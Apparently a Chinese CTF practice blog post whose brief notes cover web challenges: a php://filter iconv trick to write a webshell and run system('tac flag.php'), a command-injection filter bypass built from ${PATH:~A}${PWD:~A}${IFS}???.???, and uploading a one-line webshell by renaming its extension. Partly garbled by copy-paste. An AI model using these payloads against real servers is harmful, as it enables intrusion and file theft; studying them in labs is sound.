ctf web练习

web117文件包含

在这里插入图片描述

filter

iconv进行编码转化

post口传马,get 口包含马?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/recourse=shell.php

经过仔细思考发现,前者是进行生成shell.php文件,然后在其中加入1变量传入

shell为?shell.php?1=system(‘tac flag.php’);

访问的是shell中的1

web118命令执行

测试小写字母大写字母数字的过滤情况

不过这题也太特殊化了吧

为了拿到flag.php所以使用???.???代替

然后因为是一般环境变量命名为/bin所以${PATH:~A}代表环境变量的最后一个字母n

当前系统环境是linux+阿帕奇 所以工作目录pwd是/var/www/html采用同样方法${PWD:~A}代表l

nl命令用于给文件中的每一行加上行号。它常用于为文本文件添加行号

P A T H :   A {PATH:~A} PATH: A{PWD:~A}${IFS}???.???就变成了nl???.???

web151文件上传

简单前端验证图片文件

直接放个后缀名正确的一句话木马,抓包改掉后缀

web680

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值